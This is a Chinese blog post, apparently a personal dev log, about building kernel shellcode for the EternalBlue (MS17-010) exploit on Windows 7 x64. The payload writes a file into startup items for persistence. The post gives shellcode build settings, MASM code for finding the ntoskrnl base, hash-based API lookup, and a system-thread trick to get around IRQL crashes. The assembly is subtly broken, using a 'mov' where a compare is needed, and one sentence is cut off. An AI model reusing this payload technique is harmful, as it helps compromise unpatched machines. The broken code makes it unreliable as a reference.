網上流傳的永恆之藍漏洞利用代碼中,關於內核shellcode部分,大部分都是利用APC注入的。
最近有個想法,直接利用內核代碼執行權限,來寫文件,於是就抄起了VS,開始寫shellcode,開始以爲和R3下面寫shellcode一樣簡單…
新建個驅動的項目,按照下面修改項目的屬性,然後動態獲取API,再調API完成自己的功能。
// C/C++
// |-常規
// | |-調試信息格式:程序數據庫(/Zi)
// | *-SDL檢查:否(/sdl-)
// |-優化
// | |-優化:使大小最小化(/01)
// | |-內聯函數擴展:已禁用(/0b0)
// | |-啓用內部函數:否
// | |-優選大小或者速度:代碼大小優先(/0s)
// | *-全程序優化:是(/GL)
// |-代碼生成
// | |-基本運行時檢查:默認值
// | |-安全檢查:禁用安全檢查(/GS-)
// | *-啓用函數級連接:是(-Gy)
// 連接器
// |-常規
// | *-啓用增量連接:否(/INCREMENTAL:NO)
// |-調試
// | |-生成映射文件:是(/MAP)
// | *-映射文件名:mapfile
// *- 優化
// |-引用:是(/OPT:REF)
// |-啓用COMDAT摺疊:是(/OPT:ICF)
// *-函數順序:FunctionOrder.txt
// -[注:FunctionOrder.txt控制編譯器按照指定順序將COMDAT放到映像文件中]
項目屬性配置好以後,開始寫shellcode,計算要使用的內核API的名稱hash,爲了方便計算,我寫了一個簡單的MFC程序
問題一:獲取windows7 x64 nt基址
剛開始遇到的第一個問題就是如何獲取nt的基址,在內核中所有api都是從ntoskrnl.exe中導出的。
參考這個git項目 https://github.com/worawit/MS17-010.git,裏面有內核shellcode的asm文件,文件中有獲取nt基址的部分。
但是這個asm文件是NASM的語法,導致我用vs直接編譯不了,還需要弄個nasm的編譯環境。
最後我修改爲MASM版本,最終得到的獲取ntoskrnl.exe基址的MASM彙編如下:
.CODE
PUBLIC _getNtBase
_getNtBase PROC
push rbx
mov rax,QWORD PTR gs:[038h]
mov rax,QWORD PTR[rax+04h]
shr rax,0Ch
shl rax,0Ch
_find_nt_walk_page:
mov rbx,QWORD PTR[rax]
mov bx,05A4Dh
je _found
sub rax,1000h
jmp _find_nt_walk_page
_found:
pop rbx
ret
_getNtBase ENDP
END
https://paper.seebug.org/papers/scz/windows/201704171416.txt 這個鏈接中也有對永恆之藍獲取nt基址的分析。
把以上代碼保存爲demo.asm,添加到創建的vs驅動項目中,右鍵該文件,選擇屬性,修改項類型爲: Mircrosoft Macro Assembler
這段彙編代碼,導出了一個名爲_getNtBase的函數,在vs項目中使用這個函數,需要用extern聲明一下才能使用
extern HMODULE _getNtBase();
問題二:VS編譯64位平臺彙編文件
然後開始編譯我的vs項目,在編譯時,又遇到第二個問題: vs項目中的指定函數編譯順序的FunctionOrder.txt,對這個asm中的函數不起作用。
Address Publics by Value Rva+Base Lib:Object
0000:00000000 ___safe_se_handler_table 0000000000000000 <absolute>
0000:00000000 __guard_fids_count 0000000000000000 <absolute>
0000:00000000 __guard_flags 0000000000000000 <absolute>
0000:00000000 ___safe_se_handler_count 0000000000000000 <absolute>
0000:00000000 __guard_fids_table 0000000000000000 <absolute>
0001:00000000 Entry 0000000140001000 f main.obj
0001:00000048 EntryPoint 0000000140001048 f main.obj
0001:00000354 Hash_CmpString 0000000140001354 f main.obj
0001:00000378 GetFunAddrByHash 0000000140001378 f main.obj
0001:00000420 Unload 0000000140001420 f main.obj
0001:00000430 DriverEntry 0000000140001430 f main.obj
0001:00000470 getNtBase 0000000140001470 f demo.obj
0001:0000049a __C_specific_handler 000000014000149a f ntoskrnl:ntoskrnl.exe
無論我怎麼調整順序,這個函數用於排在main.obj中所有函數後面,這意味着,我在提取shellcode時,必須把一些main.obj中無用的函數也提取上。
最後我的解決辦法也很粗暴,先用masm編譯這個demo.asm, 拿到二進制機器碼,再拼後面直接拼接我的shellcode…
這個demo.asm獲取nt基址的代碼執行完,結果最終放在rax中。
問題三:IRQL級別
IRQL級別問題,這個也是卡了我時間最久的,我的shellcode思路如下:
1.獲取需要的api
2.初始化需要的字符串
3.調用IoCreateFile
4.ZwWriteFile
5.ZwClose
以上思路用VS寫,直接編譯成驅動後,安裝並運行,測試功能ok!
然後我用IDA提取shellcode,使用windbg強制改RIP,跳轉到我shellcode中執行。 參考一位同事寫的一篇筆記《內核調試shellcode》https://www.cnblogs.com/goabout2/p/7875372.html
強改RIP後,shellcode前面部分執行ok,但是執行IoCreateFile這個函數的時候,就藍屏。 一直中斷到內核函數內部。
上面windbg斷下後,看起來是rax取到了錯誤的值導致的,甚至還分析了wrk中IopQueueThreadIrp、IopParseDevice這兩個函數…
經過分析,排除是參數的問題,因爲前面我寫完shellcode,直接編譯成驅動文件,安裝執行,功能都ok的。
懷疑是IRQL級的問題,使用!irql命令可以查詢處理器的IRQL級別,漏洞觸發時的IRQL級別爲2 = DISPATCH_LEVEL
而我shellcode中使用的IoCreateFile這個函數所需的IRQL級別爲PASSIVE_LEVEL。
爲了測試,是不是IRQL造成的,我嘗試強制在shellcode調用IoCreateFile前面,添加一個降級的代碼,如下所示:
// 獲取當前IRQL級別
KIRQL CurrentIRQL = My_KeGetCurrentIrql();
// 修改當前IRQL級別爲PASSIVE
if (CurrentIRQL > PASSIVE_LEVEL)
{
My_KeLowerIrql(PASSIVE_LEVEL);
}
My_KeGetCurrentIrql();
再次調試分析,並查詢降級後的IRQL級別,確認爲LOW_LEVEL了,也就是PASSIVE級別。
無奈,運行到IoCreateFile,還是藍屏了…
分析藍屏信息,結果還是說我IRQL級別爲2,說明我那個修改不生效!!
不能主動降IRQL級別,除非這個級別是手動提升的。否則就會導致
經過參考一些資料,如何在DISPATCH_LEVEL運行PASSIVE_LEVEL的代碼:
- https://community.osr.com/discussion/235732
- https://www.oipapio.com/cn/article-6485155
- https://blog.csdn.net/liyun123gx/article/details/30500703
- https://bbs.pediy.com/thread-84588.htm
經過一番查找資料,大家都是推薦創建一個內核線程來做的,於是我就將shellcode最開始的代碼改成了創建內核線程
VOID Entry()
{
HMODULE hKeyModule = getNtBase();
typedef NTSTATUS(*PtrPsCreateSystemThread)(
_Out_ PHANDLE ThreadHandle,
_In_ ULONG DesiredAccess,
_In_opt_ POBJECT_ATTRIBUTES ObjectAttributes,
_In_opt_ HANDLE ProcessHandle,
_Out_opt_ PCLIENT_ID ClientId,
_In_ PKSTART_ROUTINE StartRoutine,
_In_opt_ PVOID StartContext
);
PtrPsCreateSystemThread My_PsCreateSystemThread = (PtrPsCreateSystemThread)GetFunAddrByHash(HASH_PsCreateSystemThread, hKeyModule);
HANDLE hThread;
My_PsCreateSystemThread(&hThread, 0, NULL, NtCurrentProcess(), NULL, (PKSTART_ROUTINE)EntryPoint, hKeyModule);
}
在EntryPoint函數中執行我IoCreatefile的一些操作!! 終於這一次不藍屏了,文件成功被寫入了啓動項!!!